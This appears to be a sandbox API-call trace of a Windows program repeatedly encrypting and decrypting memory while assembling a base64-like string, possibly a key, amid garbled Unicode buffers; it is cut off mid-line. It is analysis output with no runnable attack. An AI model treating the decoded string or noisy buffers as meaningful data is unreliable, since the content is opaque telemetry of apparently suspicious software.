[0216.901] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0216.902] SysStringLen (param_1="仗킨ꅘ띊㞌켜⣎᪍") returned 0x8 [0216.902] SysStringLen (param_1="仗킨ꅘ띊㞌켜⣎᪍") returned 0x8 [0216.902] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0216.902] SysStringLen (param_1="w8") returned 0x8 [0216.902] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0216.903] SysStringLen (param_1="鳈ⴄⅉ枧⬅╵넎") returned 0x8 [0216.903] SysStringLen (param_1="鳈ⴄⅉ枧⬅╵넎") returned 0x8 [0216.903] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0217.137] SysStringLen (param_1="w8B") returned 0x8 [0217.137] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0217.138] SysStringLen (param_1="濾ﾐ黱ᬍ䖞逴ӽ") returned 0x8 [0217.138] SysStringLen (param_1="濾ﾐ黱ᬍ䖞逴ӽ") returned 0x8 [0217.138] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0217.138] SysStringLen (param_1="w8Br") returned 0x8 [0217.138] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0217.138] SysStringLen (param_1="烴쾹軄ཏ鷖") returned 0x8 [0217.138] SysStringLen (param_1="烴쾹軄ཏ鷖") returned 0x8 [0217.138] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0217.138] SysStringLen (param_1="w8BrM") returned 0x8 [0217.138] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0217.138] SysStringLen (param_1="놗㶄籠艠豟䷎偷") returned 0x8 [0217.138] SysStringLen (param_1="놗㶄籠艠豟䷎偷") returned 0x8 [0217.138] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0217.139] SysStringLen (param_1="w8BrMu") returned 0x8 [0217.139] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0217.139] SysStringLen (param_1="泎ꑨဧ渔\履蓠⋐) returned 0x8 [0217.139] SysStringLen (param_1="泎ꑨဧ渔\履蓠⋐) returned 0x8 [0217.139] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0217.139] SysStringLen (param_1="w8BrMug") returned 0x8 [0217.139] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0217.139] SysStringLen (param_1="\虻ꕴⳖ⇼\쇝敬") returned 0x8 [0217.139] SysStringLen (param_1="\虻ꕴⳖ⇼\쇝敬") returned 0x8 [0217.139] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0217.139] SysStringLen (param_1="w8BrMug/") returned 0x8 [0217.139] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0217.140] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ង") returned 0x8 [0217.140] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ង") returned 0x8 [0217.140] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ង") returned 0x8 [0217.140] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ង") returned 0x10 [0217.140] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0217.140] SysStringLen (param_1="w8BrMug/d餩⹤当䰝\⋚) returned 0x10 [0217.140] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0217.140] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ង\峙荎쿢駫䪡羣∄) returned 0x10 [0217.141] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ង\峙荎쿢駫䪡羣∄) returned 0x10 [0217.141] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0217.141] SysStringLen (param_1="w8BrMug/dj⹤当䰝\⋚) returned 0x10 [0217.141] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0217.141] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ង⿺牚後艝鼪跓騇") returned 0x10 [0217.141] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ង⿺牚後艝鼪跓騇") returned 0x10 [0217.141] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0217.141] SysStringLen (param_1="w8BrMug/djS当䰝\⋚) returned 0x10 [0217.141] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0217.141] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ង롢塸왴ಌᕙ凈") returned 0x10 [0217.141] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ង롢塸왴ಌᕙ凈") returned 0x10 [0217.141] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0217.141] SysStringLen (param_1="w8BrMug/djSr䰝\⋚) returned 0x10 [0217.142] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0217.142] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ង⃩曋孯暳깎ꏿ") returned 0x10 [0217.142] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ង⃩曋孯暳깎ꏿ") returned 0x10 [0217.142] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0217.142] SysStringLen (param_1="w8BrMug/djSrD䰝\⋚) returned 0x10 [0217.142] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0217.142] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ង矙㈃눑먲䧖膍") returned 0x10 [0217.142] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ង矙㈃눑먲䧖膍") returned 0x10 [0217.142] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0217.142] SysStringLen (param_1="w8BrMug/djSrD9䰝\⋚) returned 0x10 [0217.142] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0217.142] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ង捏缗쫄깓뽪揢\럙⊅) returned 0x10 [0217.142] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ង捏缗쫄깓뽪揢\럙⊅) returned 0x10 [0217.142] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0217.143] SysStringLen (param_1="w8BrMug/djSrD9B\⋚) returned 0x10 [0217.143] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0217.143] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ង≛홾ꈮ朓㎈⨥\寚≺) returned 0x10 [0217.143] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ង≛홾ꈮ朓㎈⨥\寚≺) returned 0x10 [0217.143] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0217.143] SysStringLen (param_1="w8BrMug/djSrD9Bq") returned 0x10 [0217.143] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0217.143] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐") returned 0x10 [0217.143] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐") returned 0x10 [0217.143] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐") returned 0x10 [0217.144] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐") returned 0x18 [0217.144] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0217.144] SysStringLen (param_1="w8BrMug/djSrD9Bqa\苙鈘嬟懐摦⭼⊋) returned 0x18 [0217.144] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0217.144] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐툐η⎗䤛䢡悅璺鶰") returned 0x18 [0217.144] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐툐η⎗䤛䢡悅璺鶰") returned 0x18 [0217.144] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0217.144] SysStringLen (param_1="w8BrMug/djSrD9BqaGᢂᾒ큛晡籤謫") returned 0x18 [0217.144] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0217.144] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐\沶믽藥ↁ⊥) returned 0x18 [0217.144] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐\沶믽藥ↁ⊥) returned 0x18 [0217.144] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0217.145] SysStringLen (param_1="w8BrMug/djSrD9BqaGoᾒ큛晡籤謫") returned 0x18 [0217.145] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0217.145] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐夅⭯蟌陌芻뀺") returned 0x18 [0217.145] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐夅⭯蟌陌芻뀺") returned 0x18 [0217.145] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0217.145] SysStringLen (param_1="w8BrMug/djSrD9BqaGo/큛晡籤謫") returned 0x18 [0217.145] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0217.145] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐毵坁ȏཚ䯂瞂횮") returned 0x18 [0217.145] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐毵坁ȏཚ䯂瞂횮") returned 0x18 [0217.145] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0217.145] SysStringLen (param_1="w8BrMug/djSrD9BqaGo/6晡籤謫") returned 0x18 [0217.145] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0217.146] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐ᇌ얢奋⬀Ʞྻ웧偤") returned 0x18 [0217.146] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐ᇌ얢奋⬀Ʞྻ웧偤") returned 0x18 [0217.146] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0217.146] SysStringLen (param_1="w8BrMug/djSrD9BqaGo/68籤謫") returned 0x18 [0217.146] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0217.146] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐傪廾梋벒풘澢磋㣣") returned 0x18 [0217.146] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐傪廾梋벒풘澢磋㣣") returned 0x18 [0217.146] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0217.146] SysStringLen (param_1="w8BrMug/djSrD9BqaGo/68I謫") returned 0x18 [0217.146] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0217.146] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐틝Ṉ能ズᘗݪ뷚恛") returned 0x18 [0217.146] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐틝Ṉ能ズᘗݪ뷚恛") returned 0x18 [0217.146] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0217.146] SysStringLen (param_1="w8BrMug/djSrD9BqaGo/68Ix") returned 0x18 [0217.147] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0217.147] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐飾੘ቹ盚貕￪瞏䀟") returned 0x18 [0217.147] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐飾੘ቹ盚貕￪瞏䀟") returned 0x18 [0217.147] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐飾੘ቹ盚貕￪瞏䀟") returned 0x18 [0217.147] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐飾੘ቹ盚貕￪瞏䀟") returned 0x20 [0217.147] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0217.147] SysStringLen (param_1="w8BrMug/djSrD9BqaGo/68Ixz㋍攐찔ݺ䦕Ӽ贤") returned 0x20 [0217.147] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0217.147] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐飾੘ቹ盚貕￪瞏䀟⧽긌伖ꔠ펴豑獢쁃") returned 0x20 [0217.148] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐飾੘ቹ盚貕￪瞏䀟⧽긌伖ꔠ펴豑獢쁃") returned 0x20 [0217.148] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0217.148] SysStringLen (param_1="w8BrMug/djSrD9BqaGo/68Ixzy攐찔ݺ䦕Ӽ贤") returned 0x20 [0217.148] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0217.148] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐飾੘ቹ盚貕￪瞏䀟뚁煫̡㺈齦ﶪ듯઼") returned 0x20 [0217.148] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐飾੘ቹ盚貕￪瞏䀟뚁煫̡㺈齦ﶪ듯઼") returned 0x20 [0217.148] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0217.148] SysStringLen (param_1="w8BrMug/djSrD9BqaGo/68Ixzyj찔ݺ䦕Ӽ贤") returned 0x20 [0217.148] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0217.148] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐飾੘ቹ盚貕￪瞏䀟㤊悗ꮦ跌\⣛₭⋌) returned 0x20 [0217.148] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐飾੘ቹ盚貕￪瞏䀟㤊悗ꮦ跌\⣛₭⋌) returned 0x20 [0217.148] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0217.148] SysStringLen (param_1="w8BrMug/djSrD9BqaGo/68Ixzyjjݺ䦕Ӽ贤") returned 0x20 [0217.148] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0217.149] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐飾੘ቹ盚貕￪瞏䀟\㿙엇ḵ⺃䋞\矜䪧") returned 0x20 [0217.149] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐飾੘ቹ盚貕￪瞏䀟\㿙엇ḵ⺃䋞\矜䪧") returned 0x20 [0217.149] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0217.149] SysStringLen (param_1="w8BrMug/djSrD9BqaGo/68Ixzyjjc䦕Ӽ贤") returned 0x20 [0217.149] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0217.149] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐飾੘ቹ盚貕￪瞏䀟Ⱁ쓗椀쌠懍넢ꗉ퐄") returned 0x20 [0217.149] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐飾੘ቹ盚貕￪瞏䀟Ⱁ쓗椀쌠懍넢ꗉ퐄") returned 0x20 [0217.149] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0217.149] SysStringLen (param_1="w8BrMug/djSrD9BqaGo/68IxzyjjcAӼ贤") returned 0x20 [0217.149] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0217.149] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐飾੘ቹ盚貕￪瞏䀟厘閅酹뇥됄ᆟ\⋛) returned 0x20 [0217.149] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐飾੘ቹ盚貕￪瞏䀟厘閅酹뇥됄ᆟ\⋛) returned 0x20 [0217.149] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0217.150] SysStringLen (param_1="w8BrMug/djSrD9BqaGo/68IxzyjjcAH贤") returned 0x20 [0217.150] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0217.150] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐飾੘ቹ盚貕￪瞏䀟끑蔹蛿க팒ﱃ") returned 0x20 [0217.150] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐飾੘ቹ盚貕￪瞏䀟끑蔹蛿க팒ﱃ") returned 0x20 [0217.150] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0217.150] SysStringLen (param_1="w8BrMug/djSrD9BqaGo/68IxzyjjcAHL") returned 0x20 [0217.150] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0217.150] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐飾੘ቹ盚貕￪瞏䀟袩ﲞᤁ뚍㎯켂") returned 0x20 [0217.150] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐飾੘ቹ盚貕￪瞏䀟袩ﲞᤁ뚍㎯켂") returned 0x20 [0217.150] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐飾੘ቹ盚貕￪瞏䀟袩ﲞᤁ뚍㎯켂") returned 0x20 [0217.151] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐飾੘ቹ盚貕￪瞏䀟袩ﲞᤁ뚍㎯켂") returned 0x28 [0217.151] SystemFunction041 (in: Memory=0x5c92024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92024) returned 0x0 [0217.151] SysStringLen (param_1="w8BrMug/djSrD9BqaGo/68IxzyjjcAHLi쐋驼ꏏ珀ò䃜ȹ") returned 0x28 [0217.151] SystemFunction040 (in: Memory=0x5c92024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92024) returned 0x0 [0217.151] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐飾੘ቹ盚貕￪瞏䀟袩ﲞᤁ뚍㎯켂럻啫쿎ឭԾ㋔琽") returned 0x28 [0217.151] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐飾੘ቹ盚貕￪瞏䀟袩ﲞᤁ뚍㎯켂럻啫쿎ឭԾ㋔琽") returned 0x28 [0217.151] SystemFunction041 (in: Memory=0x5c92024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92024) returned 0x0 [0217.151] SysStringLen (param_1="w8BrMug/djSrD9BqaGo/68IxzyjjcAHLiR驼ꏏ珀ò䃜ȹ") returned 0x28 [0217.151] SystemFunction040 (in: Memory=0x5c92024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92024) returned 0x0 [0217.151] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐飾੘ቹ盚貕￪瞏䀟袩ﲞᤁ뚍㎯켂跭ٴ駫鰨毘⯣翲") returned 0x28 [0217.151] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐飾੘ቹ盚貕￪瞏䀟袩ﲞᤁ뚍㎯켂跭ٴ駫鰨毘⯣翲") returned 0x28 [0217.152] SystemFunction041 (in: Memory=0x5c92024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92024) returned 0x0 [0217.152] SysStringLen (param_1="w8BrMug/djSrD9BqaGo/68IxzyjjcAHLiR8ꏏ珀ò䃜ȹ") returned 0x28 [0217.152] SystemFunction040 (in: Memory=0x5c92024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92024) returned 0x0 [0217.152] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐飾੘ቹ盚貕￪瞏䀟袩ﲞᤁ뚍㎯켂畐Ӓ﬩굺뢕몼徉摹") returned 0x28 [0217.152] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐飾੘ቹ盚貕￪瞏䀟袩ﲞᤁ뚍㎯켂畐Ӓ﬩굺뢕몼徉摹") returned 0x28 [0217.152] SystemFunction041 (in: Memory=0x5c92024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92024) returned 0x0 [0217.152] SysStringLen (param_1="w8BrMug/djSrD9BqaGo/68IxzyjjcAHLiR89珀ò䃜ȹ") returned 0x28 [0217.152] SystemFunction040 (in: Memory=0x5c92024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92024) returned 0x0 [0217.152] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐飾੘ቹ盚貕￪瞏䀟袩ﲞᤁ뚍㎯켂쟰렱둒ᚐ疰఩⼒続") returned 0x28 [0217.152] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐飾੘ቹ盚貕￪瞏䀟袩ﲞᤁ뚍㎯켂쟰렱둒ᚐ疰఩⼒続") returned 0x28 [0217.152] SystemFunction041 (in: Memory=0x5c92024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92024) returned 0x0 [0217.153] SysStringLen (param_1="w8BrMug/djSrD9BqaGo/68IxzyjjcAHLiR89vò䃜ȹ") returned 0x28 [0217.154] SystemFunction040 (in: Memory=0x5c92024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92024) returned 0x0 [0217.154] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐飾੘ቹ盚貕￪瞏䀟袩ﲞᤁ뚍㎯켂䈷譞旉꣎눽⁄Ȋ") returned 0x28 [0217.154] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐飾੘ቹ盚貕￪瞏䀟袩ﲞᤁ뚍㎯켂䈷譞旉꣎눽⁄Ȋ") returned 0x28 [0217.154] SystemFunction041 (in: Memory=0x5c92024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92024) returned 0x0 [0217.154] SysStringLen (param_1="w8BrMug/djSrD9BqaGo/68IxzyjjcAHLiR89vI䃜ȹ") returned 0x28 [0217.154] SystemFunction040 (in: Memory=0x5c92024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92024) returned 0x0 [0217.154] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐飾੘ቹ盚貕￪瞏䀟袩ﲞᤁ뚍㎯켂역ൟ냅᣿唻갇흅") returned 0x28 [0217.154] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐飾੘ቹ盚貕￪瞏䀟袩ﲞᤁ뚍㎯켂역ൟ냅᣿唻갇흅") returned 0x28 [0217.154] SystemFunction041 (in: Memory=0x5c92024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92024) returned 0x0 [0217.154] SysStringLen (param_1="w8BrMug/djSrD9BqaGo/68IxzyjjcAHLiR89vIdȹ") returned 0x28 [0217.154] SystemFunction040 (in: Memory=0x5c92024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92024) returned 0x0 [0217.154] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐飾੘ቹ盚貕￪瞏䀟袩ﲞᤁ뚍㎯켂ꑏ互炎˸薣ፕ") returned 0x28 [0217.154] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐飾੘ቹ盚貕￪瞏䀟袩ﲞᤁ뚍㎯켂ꑏ互炎˸薣ፕ") returned 0x28 [0217.154] SystemFunction041 (in: Memory=0x5c92024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92024) returned 0x0 [0217.155] SysStringLen (param_1="w8BrMug/djSrD9BqaGo/68IxzyjjcAHLiR89vIdF") returned 0x28 [0217.155] SystemFunction040 (in: Memory=0x5c92024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92024) returned 0x0 [0217.155] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐飾੘ቹ盚貕￪瞏䀟袩ﲞᤁ뚍㎯켂ᫌ\쏝Ꚏʚ耐䑁∾) returned 0x28 [0217.155] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐飾੘ቹ盚貕￪瞏䀟袩ﲞᤁ뚍㎯켂ᫌ\쏝Ꚏʚ耐䑁∾) returned 0x28 [0217.155] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐飾੘ቹ盚貕￪瞏䀟袩ﲞᤁ뚍㎯켂ᫌ\쏝Ꚏʚ耐䑁∾) returned 0x28 [0217.155] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐飾੘ቹ盚貕￪瞏䀟袩ﲞᤁ뚍㎯켂ᫌ\쏝Ꚏʚ耐䑁∾) returned 